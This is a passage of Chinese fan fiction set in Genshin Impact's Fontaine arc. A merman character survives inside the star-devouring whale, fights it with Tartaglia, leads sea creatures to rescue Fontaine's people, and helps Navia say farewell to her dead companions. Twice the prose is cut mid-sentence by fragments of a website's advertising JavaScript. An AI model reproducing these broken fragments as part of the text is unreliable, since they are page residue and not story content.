他彻底遁入黑暗,就连海也找不到祂的孩子。与此同时,欧庇克莱歌剧院审判席上高坐的枫丹最高审判官敏锐感受到了有什么线悄无声息断开,他抬头看向水神,对方的关注点仍然放在这位自称是来枫丹度假的愚人众执行官【公子】身上。 那维莱特有些茫然,他抬手按上自己的胸口,薄薄皮肉之下,坚硬骨骼的保护中,那颗拟态的人类心脏缓慢跳动着。 只有少数几人发现了最高审判官大人的不对劲,但他们只当是这是对案件的触动。 连环少女失踪案的真凶,竟然会是这位异国的执行官吗——大家暗自思考。 那维莱特是个敬业的龙,他强迫自己将注意力放在审判庭上,宣布【公子】达达利亚无罪。毕竟并没有切实的证据……然而谕示裁定枢机宣布:【公子】达达利亚,有罪。 满庭哗然。 因为这是五百年来唯一一次,那维莱特的审判结果与谕示裁定枢机的审判结果有出入。简直震惊四座。 可依照枫丹的律法,谕示裁定枢机的审判结果是完全正义正确的,不可能出错。 那维莱特不明白,他看向高台上面露惊讶的芙宁娜女士,不明白为什么明明芙宁娜作为创造它的水神,却也无法解释为什么公认无罪的达达利亚会被宣判有罪。 芙宁娜女士,真的越来越奇怪了。 还有卡吕普迪斯,不知道他现在如何了。 44.母亲的馈赠 外界的风波,静原并不知情。 他对时间流逝的敏锐度极其低下,尤其是处于黑暗之中时,简直不知日月流转为何物。 自打遁入更深的黑暗后,他感觉到链接着心脏的无形丝线断裂开来。要如何形容那一瞬间的感觉呢?他仿佛是被斩断悬丝的傀儡,又像是被切断能源供给的机械。偌大的胸腔之中,唯有一颗心脏沉浸在无尽的茫然里缓缓跳动。 就像是,刚刚从这个世界醒来的感受一般。 静原已经很久没有如此茫然无措过了,幸而他还记得岸上的家人在等他回去,强行打起精神探寻四周。 本以为还在深海之中,可谁知触碰到了壁垒,柔软而富有弹性。静原不知道想起了什么,下意识的感到恶心,扭头绕转寻找着出口。他往上游,黑暗中什么也看不见,只知道毫无裂隙,越往前反而有什么在腐蚀他的躯体,皮肤有被灼烧的痛感,吓得他急急的下游,灼烧感逐渐被寒冷取代,不知道游了多久,尾巴都僵硬了,才终于窥见前方的一点光亮。 梦幻般的,粉紫蓝三色交织相融的瑰丽。它们似是一滩涌动的,有意识的液体,散发着与黑暗格格不入的温暖光芒。靠近它,身体上的灼烧与寒冷留下的痛感似乎也被抚平。 有谁在呼唤他的名字。 【卡吕普迪斯……】 【卡吕普迪斯,我的孩子……】 【到我这里来,卡吕普迪斯……】 静原一脸怔愣,瑰丽的液体光芒映照出他脸上的茫然。 这难道是,原始胎海水吗? 世界深处的胎海水,有自己的意识吗? 【到这来,孩子……】 【我会保护你,保护你免受被吞噬之苦……】 静原耳畔回想起那维莱特的告诫,对于他们这些诞生自原始胎海的生物来说,接触到胎海水并不会怎样,可如果是被胎海彻底容纳,以至于回归胎海,那便是自寻死路。 因为原始胎海太过爱祂的孩子,不忍再次分离。 他又感受到了疼痛,被不知名液体腐蚀皮肉的灼烧,被冰冷的水冻僵尾巴的寒意。身前身后冰火两重天,静原知道如果再这样下去,可能真的会死在水体里了。 只是瞬间,他便做出决定,硬着头皮钻进了那片瑰丽的海中之海。 温暖的海水毫无芥蒂的容纳了他,恍惚中他好像身处枫丹海的浅海区,在晴朗的午后躺在海藻林里休息,被海水环绕的时候。 那是被母亲抱在怀中呵护的感觉*。 昏昏沉沉睡过去之前,空灵而低沉的声音在他耳边悄悄诉说着思念。 【卡吕普迪斯,万水之尊主赐福于你的名字,我承认祂】 【我的可怜的孩子,高天迫使你与我过早的分离,致使你流浪在外】 【我的可怜的孩子,你已窥见高天的命运,为此承受了不必遭受的苦楚】 【幸而我等到了你,我终于等到了你的回归】 【源海赐福予与你,我的可怜的孩子】 【好好睡一觉吧】 【在直面高天的审判之前,让我再好好看看你】 【……我永远爱你】 静原睡得不知今夕是何夕,他不知道的时候,被吞噬的世界的胎水包裹了祂的孩子,给予祂可怜的孩子最后的庇护,以免被腐蚀消融,成为巨鲸身体的养分。 从原始胎海中诞生的,提瓦特唯一一条人鱼。因为高天之上命运的安排,过早的离开了诞生之海的怀抱,缺失了源海赐福的一部分,因而过于脆弱,过于柔软,哪怕是世界之外的力量,都能害得他躯体破损。 【我的可怜的,卡吕普迪斯】 世界的胎水,曾孕育人鱼躯体的母亲柔软的抱着祂失而复得的孩子,温柔的注视着孩子的睡颜,就像当年满怀期待孕育他时一般。 可到底是不一样的,祂的孩子离开祂太久,久到祂已经忘了,容纳了虚空中纯净灵魂的孩子已经长大了。 【我已然走到了末路,在此地等待终极的命运的降临】 【但你是不一样的,命运裹挟着你前进,却永远无法真正命令你如祂所愿】 【永远不要害怕未知的命运,受万水宠爱的你,终将战胜敌视你命运,战胜你的结局,战胜我战胜时间,战胜永不消逝的消逝*】 【至此,你是完整的了】 从原始胎海水中诞生的生命,唯有死亡才能彻底回归。可胎海水如预言中那般被饮尽,这片孕育无数生命诞生的太古之海并不愿意拉上孩子同祂一起奔赴高天安排的结局。 那是我的命运,而非你的终局。 所以醒来吧,孩子。从死亡中醒来,你将获得我的力量,我的祝福,你将与过去告别,获得新生。 沉睡中的人鱼猛然睁开眼睛,如水畔湖光铃兰一般的眼睛顷刻自瞳仁扩散,扭转为血一般的殷红。 瑰丽的水体越来越少,周身再次被黑暗吞没,可是他再也没有动摇过那颗彷徨的心。召唤出那柄法杖,纯净的水元素宝石与浸润深渊魔兽血液的骨骼搭配在一起,无惧任何来自水与深渊力量的威胁。 从未有过的庞大力量充盈着他的身体,借由法杖传递到身体以外,水的洪流汇聚,无论是灼烧他的液体,还是冻僵他的冰寒都无法再影响他。 他知道这里是哪里,是吞星之鲸腹中,却不是至关重要的地方,只是胃囊。 没有什么可害怕的,静原心想,倘若有什么阻拦我前进的步伐,那就战胜它,打破它,碾碎它。 卡吕普迪斯,意为主宰海之漩涡之人。 吞下了星球,吞下了世界胎水的巨大鲸鱼啊,你可曾为被吞噬的生命哀嚎? 十几道洪流交叉分开,从四面八方攻击吞星之鲸的内壁。撑得它的身体愈发巨大,在此基础上,新的洪流冲击上方紧缩的口,这种威力无异于真正的鲸鱼体内炸了个□□,再皮糙肉厚的生物也难抗体内的破坏。因此当静原感受周围的排斥后,留了个后手打下标记就飞快的随着奔涌的洪流离开了巨鲸之口。 也因此,当愚人众执行官【公子】达达利亚在这片瑰丽的室外星空与巨鲸鏖战时,发现这凶兽难耐痛苦,吐出来一条鱼后震惊得要命。 吞星之鲸吐出静原后就想逃走。还是那句话,体外小刀子割,体内大炮弹轰,这但凡是个活物他都受不了啊。 达达利亚下意识接住了那条坠落的鱼,才发现是个怪模怪样的,上半身为人的鱼。战斗狂从记忆角落扒拉出有关枫丹特有物种的情报,艰难的叫出了静原的名字:“枫丹的卡吕普迪斯?” 被人抱着的静原有点头晕,看见了个橘子脑袋和蓝眼睛,很自在的上手摸了把小帅哥的嫩脸:“嗯,我是卡吕普迪斯。” “你怎么被吞了又被吐出来了?”达达利亚单手拖着人鱼的尾巴,看见吞星之鲸想逃,强行召唤魔王武装,另一只手捏着长枪,蹭的一下窜了出去,声音也变得失真,“等会再聊。我得会会这家伙,你抱紧别掉下去了。” 战斗狂浑身洋溢着静原这种死宅难以复刻的沸腾热血,不过这时候也没心情闲扯,静原单手揽着小帅哥的脖子说:“不着急,我做了标记,它跑不远。先放我下来吧。” 达达利亚本来不信,不过看在凭空冒出的蓝色洪流化作锁链,将撞破天空逃走只剩半截尾巴露在外面的吞星之鲸强行拽下来后,选择相信了。 “你一条鱼怎么在没水的地方活动——还可以这样?!” 魔王武装版的达达利亚震惊了,因为这条人鱼顺着锁链——水元素洪流上游,将一柄镶嵌宝石的骨杖狠狠刺进了鲸鱼的尾巴,打下又一重标记。 巨兽再也忍不住,发出痛苦的哀鸣。 可这在满怀仇恨者与热血战斗狂的耳中听来犹如天籁,达达利亚抄起长枪就上了,借着锁链跳上吞星之鲸的背部唰唰一顿戳。 “哈哈哈哈哈哈哈痛快!” 达达利亚打架的时候,静原也是没少出力,人鱼的尾巴和手都是绝无仅有的猛锐凶器,轻而易举就能造成与武器同等的伤口。 同伴是个绝佳的武艺高手,这一点认知让达达利亚更加活跃,连身体上的疼痛都算不得什么,他大声喊着:“卡吕普迪斯,你身手这么好,出去之后和我切磋一下如何!” 见鬼,情报里没说人鱼这么会打架啊,都说他会带孩子捡垃圾而已!愚人众的情报官越来越不顶用了! 静原不知道愚人众内部怎么判断他的危险系数的,不过答应达达利亚的切磋需求也不是不行。只是切磋而已。 “打死这畜牲再说。”静原很少很少如此仇视某个生命,吞噬了世界胎水,他的母亲,至此吞星之鲸成功占据了仇恨榜榜首。 就算知道这畜牲是达达利亚师祖的宠物,静原也要把它弄死,谁来都不好使。 吸饱了世界胎水的吞星之鲸没想到胎水会如此庇佑这个意外吃掉的小鱼,悔之晚矣。内部外部都有对方打上的水元素乃至深渊力量的标记,根本跑不出去,只能在干涸的胎海之地乱窜,还甩不掉身上两个动刀子乱砍泄愤的敌人。 静原彻底杀红了眼,不知道什么时候身边的达达利亚看他的眼神都不对了,直到吞星之鲸再也无法忍受被屠戮的痛苦和力量的消耗,迫切的想要修复力量愈合身体甩开这两个混蛋,将觅食的目光放到了血液中饱含原始胎海水的枫丹人身上。 它感受到了人鱼和青年同样的力竭,拼着一口气撕裂了空间,使出九牛二虎之力冲了出去,将深渊般的巨口对准了人类。 达达利亚判断出吞星之鲸攻击人类的意图,再次发劲,跳出去后才发现这里竟然是当初审判他,判处他“罪行”的欧庇克莱歌剧院! 见鬼,真是见鬼! 达达利亚如此想着,手中动作却不停,可鲸鱼觅食的本能压过了对痛苦的畏惧,庞大身躯带出来的胎海水一起溅落,已经知道胎海水威力,正在审判神明的,观众席上的枫丹人惊慌尖叫着四散而逃。 欧庇克莱歌剧院里响彻人类无助的惊惶。 那维莱特出手想要和它抗衡,可是古龙大权并不完整,加上吞星之鲸已到穷途末路饿红了眼,绝境之处爆发了从未有过的意志,他这次出手落了个空。 这时,自达达利亚身侧擦过一柄骨杖,那柄漂亮的骨杖唰的一下,像钉子一样钉进了歌剧院观众席中间的地板里,幽幽散发出柔和的水蓝色光芒。光芒化作坚硬的透明壁垒,像是薄薄的一层糖衣,前排枫丹人可以清楚的看见巨鲸与瑰丽的海水猛烈冲击着这层薄薄的“糖衣”,可是一道裂纹都没有出现。 “糖衣”有着与它外表截然不符合的坚硬,就像它的创造者那样。 吞星之鲸愤怒的鸣叫冲击着在场所有人的耳膜。 “滚回来!” 有人紧随其后如此怒喊。 高台上的审判官听到了熟悉的声音,那维莱特自然是认得出自己锻造的那柄法杖的,惊喜的望向从裂隙中窜出来的人鱼。 “卡吕普迪斯大人!是卡吕普迪斯大人!!”有枫丹人认出了静原,如果说他们不知晓开启魔王武装的达达利亚是谁还情有可原,可不认得静原那就太不应该了。 披头散发杀红了眼了的人鱼抬手召回法杖,顺着环绕吞星之鲸的水元素锁链游到它身前,和达达利亚一左一右刺它的脑袋,打得吞星之鲸再不敢把注意放到人身上。静原更是抠着鲸鱼的嘴往脑后掰,人鱼的臂力足以撕裂鲸鱼,吞星之鲸不想被活活撕裂,只得顺着静原的力道往后仰,尾巴掀起又一阵胎海水。拍在“糖衣”上,惊起尖叫连连。 达达利亚一个劲猛戳鲸鱼,累得要死,余光瞥见那维莱特怔愣的模样,嗤笑一声,小样,你还是不行。 正好静原要带吞星之鲸回去,他顺势卸了力道仰倒——战友静原会接住他的。达达利亚倒回裂隙的时候还对那维莱特比了个大拇指往下摁的手势,意思就是你不行。 可惜那维莱特看不懂,倒是他身侧的旅行者和派蒙看懂了,在这么紧要的危急关头,俩人还能扯扯嘴角,真是无语了。 不愧是你,达达利亚。 小年轻心里有气呢,显然对那维莱特的判决非常不满。 倒回来的达达利亚再也没力气了,在角落瘫成一团看着静原打:“让我歇会,好兄弟,我没劲了。” 静原也有些没力气了,憋了口气把吞星之鲸钉住,让这玩意自己闹腾一下:“外面要起大乱子了。等会会有人来接你,我找个机会让这畜牲撕开裂隙让我出去。” “你要去哪?”达达利亚一听这就不累了,腾地一下坐起来,“你不打了吗?” “这畜牲刚刚闹出的动静太大,深海下被压制的东西已经逼近了海面。外面有危险,我得去帮忙。”静原游到达达利亚身边,把他抱起来哄着说,“再坚持一下,会没事的。” 柔和的水元素有愈疗效果,静原得空给达达利亚治疗,稳固他被深渊力量挤压的内脏与骨骼,修补战斗中撕裂的经脉与皮肉。 虽然感觉被抱着很不对劲,但身上不痛了,达达利亚接受良好:“干脆你把我一起带出去吧,我不觉得有谁会来接我。” 你的师父丝柯克。 静原瞥了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怀中的青年一眼:“你不后悔就行。” 这家伙可是很想念他师父的。 因而当旅行者和那维莱特赶到此地处理吞星之鲸的时候,静原正抱着达达利亚在枫丹海傲游。因为源海赐福的缘故,人类可以在枫丹水体内呼吸。这种赐福在水离开了枫丹后失去了效力,所以人类在其他国家无法感受到真正的源海赐福是何等的伟力。 在海洋中呼吸的达达利亚左顾右盼,看见什么都想撩拨一下,静原下意识像对待林尼他们那样对待达达利亚。 “那个水母不要碰,它不高兴就会搓水弹炸你,那可是很痛的。” “那是幽光星星,在黑暗中散发独属于自己的小小微光。你喜欢的话可以带到岸上,或者定制这种款式的胸针。” “重甲蟹是群居生物,胆子很小,不要太欺负过了……海水正在上涨,我们速度快点。跟紧我,海里的洋流乱了。” 没有太阳了,瓢泼大雨倾盆而下,浅海区的水也变得混浊。看来旅行者和吞星之鲸的战斗已经结束,被挤压出来的胎海水彻底融入海洋——高天的预言如期降临。 达达利亚趴在人鱼的背上,搂着他脖子问:“你要去做什么?” “救人。” “你说枫丹廷的人吗?太多了,救不过来的。我这次真是来度假的,没有带手下,不然就能让他们给你打下手了。” “谢谢你的好意,但是救得过来。”静原背着人也能极速游动,他的胸腔振动着,从喉咙里发出宛如高天之歌的吟唱。那声音在水体里也能快速传播,一下一下敲打着达达利亚的耳膜。 达达利亚听见自枫丹海四面八方响起的应和之声。 “鲸鸣?那玩意又出来吗?”达达利亚如临大敌,感受了半天,又觉得不太像。 静原唱完了,带着达达利亚继续往前游,解释道:“刚刚是在通知我照顾的鲸群,枫丹本地鲸群,保护动物那种。它们听到我的声音,就会出来的。” 之前去深海查看原始胎海情况的时候,他特意转告了枫丹三类龙裔,让这些孩子都老实点不要乱逛,有需要的时候会通知它们。因此当静原模仿鲸鱼声调唱歌通知的时候,北海的鲸群,伊黎耶的龙蜥,厄里那斯的美露莘,三个方向的龙裔齐齐出动。 当海水上涨到了一个可怕的高度,在能够淹没枫丹廷之前,深海龙蜥咬着荒野民宅里人类的手脚拖着他们浮出海面,北海鲸群如同海中潜艇,不断鸣叫提醒人类朝它们靠近,人类也明白鲸群是来帮忙的,互相帮扶着爬上鲸鱼的背。更为隐秘的,狭小的地方,则是美露莘们牵线带头,扒拉出那些被房屋废墟压倒的人类出来。 一头头鲸鱼,一头头龙蜥浮出海面,美露莘们连拖带拽才能顶着人类逃离原始胎海浓度过高的水域。 静原通知的速度很快,龙裔的效率一等一的高,因此在那维莱特彻底拿回古龙大权前,就有许多人类幸免于难。 当静原把达达利亚抱上鲸鱼背部的时候,他从头顶落下的雨丝中感受到了哀伤与痛苦的味道。 那是那维莱特的情感。 静原眼眶一酸,在情感方面一直懵懂的那维莱特,也终于品尝到了这种苦涩吗? 那维莱特的眼泪也融入了这场雨,这回真是水龙在哭了。作为眷属的龙裔们都感受得到。 拿回了古龙大权,重回尊位的水龙王那维莱特赦免了枫丹所有人的【罪行】,从此以后,前任水神厄歌莉娅在太古时代因为怜悯和孤独犯下的原罪终于得到了终结。枫丹人再也无惧被溶解的诅咒,从纯水精灵的期冀转变,成为了真真正正的人类。 也因此,哪怕原始胎海水彻底融入枫丹海,被淹的枫丹人也不会被溶解了。 海面上浮出了一艘巨船,那是莱欧斯利的维恩歌莱号,静原知道的,因为那维莱特和莱欧斯利都曾告诉过他,这艘船是为逃难建造的。 亦如神话中的诺亚方舟。 静原看着那艘船,突然想起千年以前的雷穆利亚,至尊的雷穆斯王驾驶着金色的法图纳号来到这片水域,带来文明与荣耀,建立起恢宏的王朝。 雷穆利亚的人民因为畏惧溶解于水,回归莽荒的诅咒,成为了魔像。如今这个诅咒破灭了,雷穆利亚时代的诸多亡魂能够安息吗? 静原不知道,他看着维恩歌莱号稳稳的行驶在海上,天空逐渐放晴,水中的枫丹人都被救上来,紧紧密密亲亲热热的挨在一起,不分高低贵贱。衣服着装带来的阶级隔阂在此天灾之下被抹平。也许潮水褪去之后一切如旧,可至少现在他们的心挨在一起。 鲸群背上的人类看见了放晴后的太阳,和维恩歌莱号的人类一起欢呼雀跃,庆幸劫后余生。但达达利亚看见了身边好战友低头抹去了泪水。 “你在哭吗?”达达利亚低声询问。 “喜极而泣不行吗?” 人鱼的泪珠是如此的如此洁白圆润,在阳光下闪烁着奇妙的色彩,就像是珍珠一般。 达达利亚不明白:“可我看不出来你喜悦在哪里……” 可他的心是如此酸涩。 静原捂住脸,哽咽声在众多欢庆的背景音里显得那么渺小。鲸群和龙蜥感受得到万水之王的悲伤,也感受得到卡吕普迪斯的哀痛。它们眨了眨眼睛,咸咸的眼泪融入了海中。 唯有经历过那个时代,亦或是口口相传知晓那个时代的龙裔才明白静原在哭什么。 神明啊,这就是你安排好的命运吗?在今时今刻的映衬下,过往一切努力都是如此的苍白与可笑。那些人类的挣扎就像海面上的泡沫,风一吹就破灭了。 雷穆斯王,伊黎耶,芙卡洛斯,芙宁娜,雷内,雅各布,还有许多许多他叫不出名字的人,那些为了反抗枫丹不公命运的人,他们的努力隔着遥远的时间与空间,隔着跨越不了的巨大沟壑,在今时今日,像是投入水中的石子,终于有了回响。 尘封在时间中回忆压得他喘不过气来,那些被刻意遗忘的,那些他努力压抑的,齐齐汹涌而来,淹没了他。 静原快要崩溃了。 那颗心是如此的痛苦与酸涩,他人所不能理解的情绪灼烧着他的五脏六腑。 直到他被一个小小的温暖怀抱拥住。 他可爱的小女孩,格蕾丝蒂抱住了他的头颅,轻轻的安抚。 “别害怕哦,卡吕普迪斯大人。” 小女孩轻轻的嗓音融入风中,隔着数百年的光阴距离,塔塔和秋秋都在对他说。 别害怕哦,我们都在这里。 人鱼流下一滴泪,滚落成为白色的珠,落入海中,沉入海底。 45.金色的灵魂 高天的预言已经实现,芙卡洛斯和芙宁娜背负五百年的秘密也终于迎来了结束。 芙宁娜从坍塌的废墟后走出来,扶着雕饰精美的石柱,去看雨后的微薄天光。 雨停了。而芙宁娜五百年的扮演也结束了,她终于可以去享受属于人类的生活,午夜时分再也不会因为噩梦惊醒,再也不会因为难以诉之于口的孤独与寂寞流泪。 芙宁娜自由了。 洪水在卡吕普迪斯的指引下顺从的退去,清理得很干净,不会有疫病之类的情况发生。枫丹警备队全部出动,去维持大灾后的社会秩序,以及帮扶居民修缮家园。 面对人类的两眼泪汪汪,龙蜥们打了个喷嚏,一甩尾巴头也不回离开了,它们对人类的煽情嗤之以鼻,感觉还是回到伊黎耶老家打滚更自在。 鲸鱼们等待背上的人类被船只接走上岸,才高唱着歌谣回归远海。美露莘们多半留下来辅佐姐妹们和人类进行灾后工作,静原想把达达利亚抱着送上岸——这小子被他抱来抱去已经习惯了,毕竟人类之躯强行开启魔王武装对战吞星之鲸,对身体的负荷过于沉重,铁打的青年也经不起如此折腾。 达达利亚休息得差不多了,身体也在静原的修补下好了六成,能够自己发力登上愚人众执行官同僚【仆人】派来接他的船只。 “好兄弟,不要忘了我们的约定啊!”达达利亚在船上对他奋力挥手,不小心扯到了伤口,忍不住咳嗽几声,得到了静原的点头回应后才算放下心来。 他身后的阿蕾奇诺拍了拍他的肩膀:“看来你和卡吕普迪斯先生结下了一段珍贵的友谊?” “那当然,他可是与我并肩作战的好兄弟!” “是吗。” 阿蕾奇诺不置可否,卡吕普迪斯还是那么热衷捡孩子…… 游到无人的海边独自消化汹涌负面情绪的静原抹了一把脸,把眼泪擦干净,看着掌心的幽蓝色核心,嗤笑一声。 在他和达达利亚撤离后,那头吞星之鲸又迎来了第三波打它的人类:旅行者,以及那维莱特。旅行者的战力自然不必多说,算上那维莱特,打一头力竭的吞星之鲸绰绰有余,可关键时刻,丝柯克出现了。她收走了这头在枫丹犯下滔天罪行的,推动枫丹预言产生的元凶之一。 那维莱特会对突然出现,自称是极恶骑徒弟的丝柯克忌惮,留了一手,看着对方要带走“师父的宠物”,没有多言。 因为那维莱特感受得到吞星之鲸身上被打上的双重印记,那是眷属卡吕普迪斯特有的标记。 按耐下不虞,与丝柯克以此为交易获得了情报的那维莱特看着对方一脸平淡的离开,突然笑了一声。 派蒙在旁边悄悄开口:“那维莱特,你笑得好吓人……” 旅行者深以为然的点点头:“在想什么坏主意吗?” 这可不符合那维莱特的人设啊。 那维莱特正色道:“抱歉,惊吓到你并非我本意。只是想到了令我有些愉快的事。” “什么事?”派蒙真的很好奇。 “我的……眷属,卡吕普迪斯,他一切安好。甚至有余力留下后手……”那维莱特摊开掌心,赫然是刚刚丝柯克收走的,吞星之鲸的核心,“以他对枫丹海的保护意志来看,没有人可以在枫丹搅弄风云后全身而退。即便是来自世外的力量。” 丝柯克一离开,静原打下的标记轰然爆炸粉碎,留下丝柯克一脸惊愕,而这枚核心被瞒天过海的转移到权限更高的水龙王手中。这是他们的默契,无需言明。感受到标记的那一瞬间,那维莱特就什么都明白了。 而又在刚刚洪水退去后,那维莱特在无人处将这块核心交到静原手中:“收下吧,这是你的战利品。” “卡吕普迪斯,一切都会好起来的。” 当时静原没有问他是如何消化芙卡洛斯的自我献祭与牺牲的,因为自己已经感受过类似的痛苦,知道要如何愈疗。 唯有时间。唯有时间可以抚平伤痛。 现在的静原将这块核心埋入深海,以此修补大地的疮疤。原始胎海孕养星球万物,它饮尽了胎海之水,自然也要背负胎海的职责。以自身为养料,让这个世界的生命蓬勃生长吧。 陆地上的灾后援建与静原没有多大的联系,每天夜晚,他都坐在欧庇克莱歌剧院后临海的长台上,轻轻甩动着尾巴。 自洪水之后,鲸群每日都会在海中歌唱,已经持续一周。活着的人类只当这群美丽生灵是在庆贺劫后余生,可龙裔一脉都知晓它们是在引渡死在灾难中的亡魂。 【溺于水的,亡于水的,可悲的人类灵魂啊,你已然抛却人类的形体,回归纯水精灵的本质。请勿再对尘世的亲友留恋,回来吧,回来吧。】 【回归海的怀抱。】 【我等将引领你前往新生。】 这是祝词的一部分,鲸群彻夜不眠歌唱,枫丹大地上因为胎海而溶解的可悲灵魂缓缓上浮,金色的粒子飘散。因为是在半夜,静原和那维莱特都能看见水域上空的璀璨光点汇聚成海。 这事还得鲸群来做,只有这群从雷穆利亚时代存留至今的古老龙裔血脉能够通晓乐理与歌谣的力量。以身为舟,搭载人类的灵魂去往更遥远的世界。 “卡吕普迪斯大人……迈勒斯和西尔弗都在里面吗?” 站在静原身后的是一个金发黑裙的年轻女孩,像是荒原上肆意生长的黄色玫瑰,哪怕面容憔悴,眼中含泪,也不改她美丽的本质。 静原抬头看了一眼她的眼睛,那上面覆盖有薄薄的一层水膜,人类是无法看见这些粒子的,而这位年轻的小姐能看到,显然是那维莱特出了力:“那维莱特建议你来这边的,对吗?” 她点点头,看起来要碎掉了。 静原叹了口气,对姑娘伸出手:“告诉我你的名字,然后拉住我的手。” “我是娜维娅,枫丹刺玫会的娜维娅。”她急急道,伸出手牵住静原。 静原看向那片金色的粒子海,另一只手伸出去,蓝色与金色的力量会牵引着其中的灵魂来到他身边。 等待的时候,静原安慰她:“那维莱特应该告诉过你,如果对方已经了无牵绊,就会在第 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一天离开。找不到他们的灵魂也别哭,这正好证明他们已经轻松上路了。” “我知道的,我知道的……我是不是太自私了,卡吕普迪斯大人。一方面我希望迈勒斯和西尔弗可以轻轻松松的去往来世,另一方面,我又可恨的期盼能够再见他们一面,从小到大,就是他们最疼我。当我知道能够见到亡魂的时候,我再也忍不住了……如果当时我能够拉住他们的手,如果我能再快一点,会不会就不一样了……” 女孩失声痛哭起来,那哀切真实做不得假,静原叹气,什么也没有说。 就算知道了未来,真的什么都能改变吗? 也许正如娜维娅所说的那样,两位家人一般的存在对她爱护有加,即便有前往来世的机会,也依旧徘徊在人间的水域。 因此当获得静原的召唤时,两位枫丹本土生长的人类灵魂顺从的前来,见到了他们的大小姐。 即便是灵魂,即便是金色的粒子构成的灵魂,娜维娅也欣喜万分,伸出手小心翼翼的想要触碰,两个灵魂主动靠近,不出意外的穿过了人类的身体。 静原在一旁忍不住提醒:“生者最好不要和灵魂靠太近,这还是晚上,小心半夜发烧。” 迈勒斯和西尔弗迅速收回手。 娜维娅拼命擦去泪水,可是怎么也擦不干净,她怕模糊了视线看不清家人的脸,静原幽幽叹息,很想到一旁去留给他们交谈空间,可是不能松开娜维娅的手。手一松开,这两个灵魂就会像无根浮萍一般顺着海浪飘走。 娜维娅是他们徘徊于尘世最大的羁绊。 “大小姐,以后的路,就要您一个人走了。” “大小姐,还能见到您,我和西尔弗都很高兴。” “大小姐,不用自责。那种情况谁来也没有更好的办法,保护民众,保护您是刺玫会的职责,我们都心甘情愿。” “大小姐,要多笑笑啊。就像甜蜜的马卡龙那样,让您的笑容一直绽放就是我们最大的心愿。” “大小姐……时间快到了。我们真的,必须走了。” 静原解释:“这是最后一日引渡,也是规模最大的一夜。明天太阳升起后,一切如旧。枫丹所有死在这场灾难中的灵魂都将消散,流水也无法承载。尽快吧,天要亮了。” “我会的,迈勒斯,西尔弗,我会的……我可是娜维娅!什么困难都压不倒的娜维娅。会带着你们的那一份好好生活下去到。”她仍然含着泪,可面上终于有了点笑容。如迈勒斯和西尔弗所说的那般甜美,就像新鲜出炉的马卡龙一样。 今夜是最后一夜,逝去的灵魂徘徊于海面,各地的鲸鱼伴随着同族一起吟唱,送他们去往生极乐之处。 静原是不唱歌的,他和娜维娅一起坐在长台上看着金色粒子的海洋缓缓上浮,上升到天际。当天光乍泄,所有徘徊的迷茫灵魂都在初生太阳的照耀下消散。 天空下了一场金色的雨。 娜维娅看向身侧的人鱼,对方注视着海面,一如既往的平静。 好像那日的掩面哭泣只是她的一个错觉。 46.一点点日常 静原算是跟娜维娅正式认识了。因为考虑到那维莱特主动推荐这个因素,相当于上司把看好的某个新人放到你面前——他对娜维娅很是宽容。 因此当天光亮起,静原看着一撩裙摆干脆坐下的她主动询问:“不回家吗?” “刺玫会那边一切顺利,我晚些再回去补觉。倒是您,卡吕普迪斯先生,坐在这里很久了吧,要不要喝杯热茶吃些点心暖暖身子?” 她上看去是那种随时随地拍拍手,就会冒出一堆黑衣大汉双手呈上她所需物品的极道大小姐……(虽然在某种意义上的确是) 静原摇摇头:“并不冷,也不饿。如果你觉得尴尬,我们可以聊些别的。” 他向来如此直白,看出来了娜维娅想要找话题聊天的意图,就直接点明了。 这样的确会让人更尴尬,不过很快就能缓解过去,并且自然的进入下一个话题。百试百灵。 “那么,卡吕普迪斯大人……您也会流泪吗?” “……会。我没有你们想象中那么坚定,因为我也是活着的血肉。”静原叹气,“那天你看到了吧,我哭的样子。” 娜维娅点点头:“因为是第一次近距离见到传说中的卡吕普迪斯大人,还是您伤心的模样……那天看到情况的人都感受到了您身上的真切哀痛,很想安慰您,但是不知道该怎么说才好。幸好那位美露莘小姐站了出来,在她的安慰下您好受了许多,大家也由衷的感到欣慰。” 娜维娅很难形容那一天在船上看到的感受,枫丹人心目中无坚不摧无所不能的,伟大的大守护者卡吕普迪斯在掩面垂泪。 卡吕普迪斯大人也会有如此脆弱而柔软的一面吗?大家为此感到惊讶与无措。 她身边许多劫后余生的人们都注意到了那样的场景,伸出手迈开步伐想要上前,可是挡在身前的不只是混浊汹涌的海水,还有千百年如同巨渊般不可逾越的时间沟壑。 因为他即是承载着枫丹历史的海中人鱼。 娜维娅不禁想起了芙宁娜大人,对方以脆弱的人类身躯承担假扮水神的职责,作为新枫丹历史的见证人,背负秘密与枫丹人的存亡,心惊胆战过了五百年。 很难比较二者的痛苦孰高孰低,因为痛苦是不可丈量的。 听完娜维娅的讲述,静原笑了笑:“都过去了。” “是啊,都过去了。”娜维娅似乎感悟到了什么,如此轻叹。 二人仰头看那初生的太阳,看它从赤红变得金光璀璨,直到不可直视。 静原潜入海下,不知不觉转悠到了黎翡区海域。看着那钢铁铸造的水下堡垒,心情复杂。 总觉得距离他进局子打螺丝的日子已经不远了……人鱼的直觉还算可信。 他在梅洛彼得堡外踟蹰徘徊许久,最后也只是清理了一番水体,然后捡了些幽光星星准备带到岸上去。距离他和达达利亚约定切磋的日子越来越近,考虑到那孩子都心性,静原打算顺手准备一些小礼物。 虽然幽光星星晒干后体型会缩水很多而且不太好看…… 抱着幽光星星离开后,他去到人迹罕至的水岸边,把这些小特产剔除内脏晒在海滩的大石头上,然后梳理自己有些打结的长发。 沙滩上栖息着许多懒洋洋的膨膨兽,被打也只是哭唧唧的不还手,让人毫无攻击欲望。静原在旁边梳头发的时候,它们就摸摸肚皮,翻了个身继续睡。紫金鱼鸥倒是想叼走那些处理过的幽光星星,让头也不回的静原弹指一发水炮弹轰过去,嘎嘎乱叫着扑腾飞去,羽毛落了一地。 人鱼的头发很长,就算常年梳着高马尾,发尾也会不可避免的藏进一些小惊喜。比如海露花的花瓣,沙砾,以及海獭们送的粉色小贝壳。 花瓣和沙砾可以丢掉,但小贝壳比较特殊……送给下一次见到的海獭好了。 静原如此想着。直到束起长发,而身后也响起青年活泼的嗓音:“好兄弟,我来了!” 